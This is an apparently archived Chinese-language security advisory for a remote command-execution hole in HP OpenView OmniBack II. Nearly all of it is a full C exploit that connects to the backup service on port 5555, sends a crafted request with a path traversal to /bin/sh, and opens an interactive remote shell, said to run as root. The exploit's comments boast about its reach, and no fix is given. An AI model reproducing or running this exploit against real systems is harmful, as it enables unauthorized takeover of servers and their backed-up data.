HP OpenView OmniBack II generic 存在远程漏洞发布时间：2000-12-29 更新时间：2000-12-29 严重程度：中 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 HP OpenView OmniBack II详细描述 http://www.openview.hp.com/products/omniback/index.asp 是提供高效率和可靠性的来保护WINDOW系统中的数据，其中存在一个漏洞允许 攻击来执行任意代码。 测试代码 Exploit: / * * HP OpenView OmniBack II generic remote Exploit by DiGiT - teddi@linux.is * * Omniback is a network backup system by HP, widely used. * took me some time to figure out how omniback communicated then it was just * a matter of finding a bug. * * This lovely little exploit will give you a remote "shell" of sorts, you * can execute any command on the system. * * As far as I can tell this thing is vuln on every Omniback I have seen. * I've tried HP-UX, Linux so far, with diff versions etc. It needs some change * to work on windows, but should very extremly easy, be creative. * * Greets, #!security.is, #!ADM#$%$#, #hax & HP systems for this proggie ;> * * - DiGiT [digit@security.is] * * I'm releasing this because it leaked and kids got their hands on it ;< * sorry. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <sys/time.h> #include <errno.h> #include <netdb.h> #include <unistd.h> #include <sys/stat.h> int sockfd; struct hostent *host; usage (char *progname) { printf ("\nOmniback II *: remote exploit by DiGiT - teddi@linux.is\n"); printf ("Gives possibility to execute any command on a remote system as root!\n\n"); printf ("Usage: %s hostname \n\n", progname); exit (1); } int shell() { fd_set fd_stat; char recv[1024]; int n,i; static char testcmd[256] = "/bin/uname -a ; id ;\r\n"; fprintf(stdout, "We have remote shell&%#$&%!\n"); fprintf(stdout, "\nType in any command and it will get executed.\nHave fun... DiGiT - teddi@linux.is\n\n\n"); write(sockfd, testcmd, strlen(testcmd)); while(1) { FD_ZERO(&fd_stat); FD_SET(sockfd, &fd_stat); FD_SET(0, &fd_stat); select(sockfd+1, &fd_stat, NULL, NULL, NULL); if (FD_ISSET(sockfd, &fd_stat)) { if((n=read (sockfd,recv,sizeof(recv))) < 0) { printf("Connection has been closed\n"); exit(0); } for(i = 0; i < n ; i++) { if(recv[i] == '\000') { recv[i] = ""; } } recv[n] = 0; recv[n-1] = '\n' fprintf(stdout, "%s\n", recv); } if (FD_ISSET(0, &fd_stat)) { if((n=read(0, recv, sizeof(recv)))>0) { if(write(sockfd, recv,n) == -1) { printf("Error %$#\n"); exit(0); } } } } } send_code () { char path[32]; /* I dont care I just made test code and it worked, so #$%$# off */ write (sockfd, "\000\000\000.", 4); write(sockfd, "2", 1); write(sockfd, "\000", 1); write(sockfd, " a", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " 0", 2); write(sockfd, "\000", 1); write(sockfd, " A", 2); write(sockfd, "\000", 1); write(sockfd, " 28", 3); write(sockfd, "\000", 1); snprintf(path, sizeof(path), "/../../../bin/sh"); write(sockfd, path, strlen(path)); write(sockfd, "\000", 1); write(sockfd, "\000", 1); write(sockfd, "digit ", 6); write(sockfd, "AAAA\n", 6); // nada.. shell(); // and the lord said, let there be shell. exit(0); } create_socket (char *hostname) { struct sockaddr_in s; int ipaddr; if ((host = gethostbyname (hostname)) == NULL) { herror ("gethostbyname"); exit (1); } memcpy (&ipaddr, host->h_addr, host->h_length); memset (&s, 0, sizeof (struct sockaddr_in)); s.sin_family = AF_INET; s.sin_port = htons (5555); s.sin_addr.s_addr = ipaddr; if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("socket"); exit (1); } if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0) { perror ("connect"); exit (1); } } int main (char argc, char *argv[]) { char hostname[256]; if (argc < 2) { usage (argv[0]); return 0; } strncpy(hostname, argv[1], sizeof(hostname)); create_socket (hostname); send_code(); return 0; } 解决方案 尚无 相关信息 |
